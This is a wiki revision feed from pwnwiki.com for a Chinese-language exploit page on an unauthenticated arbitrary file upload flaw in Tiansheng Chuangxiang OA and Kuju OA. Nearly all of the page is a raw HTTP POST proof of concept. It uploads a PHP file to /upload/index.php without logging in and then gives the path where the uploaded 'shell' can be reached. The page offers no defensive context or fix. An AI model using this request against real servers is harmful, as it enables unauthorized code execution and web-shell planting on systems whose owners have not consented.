https://pwnwiki.com/index.php?action=history&feed=atom&title=%E5%A4%A9%E7%94%9F%E5%89%B5%E6%83%B3OA%26%E8%8B%A6%E8%8F%8AOA%E6%9C%AA%E6%8E%88%E6%AC%8A%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E%2Fzh-cn
天生創想OA&苦菊OA未授權任意文件上傳漏洞/zh-cn - Revision history
2026-04-08T10:54:03Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E5%A4%A9%E7%94%9F%E5%89%B5%E6%83%B3OA%26%E8%8B%A6%E8%8F%8AOA%E6%9C%AA%E6%8E%88%E6%AC%8A%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E/zh-cn&diff=7142&oldid=prev
Pwnwiki: Created page with "天生创想OA&苦菊OA未授权任意文件上传漏洞"
2021-07-13T07:24:54Z
<p>Created page with "天生创想OA&苦菊OA未授权任意文件上传漏洞"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==POC==<br />
<pre><br />
POST /upload/index.php?userid=1 HTTP/1.1<br />
Host: www.xxx.com<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0<br />
Accept: application/json, text/javascript,*/*; q=0.01<br />
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br />
Accept-Encoding: gzip, deflate<br />
Referer:http://www.xxx.com/admin.php?ac=document&fileurl=knowledge&type=1&menuid=24<br />
X-Requested-With: XMLHttpRequest<br />
Content-Type: multipart/form-data;boundary=---------------------------115858488212690034922831875554<br />
Content-Length: 256<br />
Origin: http://www.xxx.com<br />
Connection: close<br />
<br />
-----------------------------115858488212690034922831875554<br />
Content-Disposition: form-data;name="files[]"; filename="1.php"<br />
Content-Type: text/plain<br />
<br />
<?php<br />
echo 123;<br />
phpinfo();<br />
?><br />
<br />
-----------------------------115858488212690034922831875554—<br />
</pre><br />
<br />
==Shell地址==<br />
http://<target>/data//uploadfile//1//shell.php</div>
Pwnwiki